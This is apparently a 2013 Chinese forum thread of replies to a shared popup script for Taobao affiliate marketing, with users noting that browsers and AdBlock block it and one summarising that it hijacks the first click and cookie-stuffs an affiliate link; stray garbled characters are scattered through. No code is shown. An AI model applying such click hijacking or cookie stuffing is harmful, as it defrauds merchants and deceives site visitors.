不清楚国内，莫非做taobao不可以直接用弹窗吗？

booday

没用 360 搜狗 直接就拦截了，chrome可以弹出来

阿百川

adblock 完美屏蔽

PHP

没研究全，期待跟多解析。

echo

代码看不懂，不过觉得挺好用的……自动弹窗

cissss

没懂

2 U1 g2 M- k/ W  m3 l4 z8 U1，首次访问有个弹窗，但是被chrome给拦截了
9 p% ~6 y/ ?% \( k# z: G7 ?
2，劫持了第一次点击
8 U7 G1 |/ D. ?- G* }2 K
+ e2 D7 H3 |5 d: {- V% L3，CS了一下unionsky
( h/ R! _" V" _6 q) r1 ~" T- C
4 [9 k- F' W3 P9 n$ ?然后？

小狠

cissss 发表于 2013-12-18 01:24
没懂
' G  Z4 j6 D- X# O( g
1，首次访问有个弹窗，但是被chrome给拦截了

懂的人一看就懂 不懂的人怎么看就不懂

1990a

这个CJ怎么搞的这么复杂...

cissss

小狠 发表于 2013-12-18 03:49
" S4 o2 w8 v/ ~' M( T懂的人一看就懂 不懂的人怎么看就不懂

我确实不懂你发这贴的意思。 可以理解为装逼么？

bowen

不就是个弹窗代码吗？

babe_lucky

我表示看不懂

cnnova

占位，慢慢领会啥意思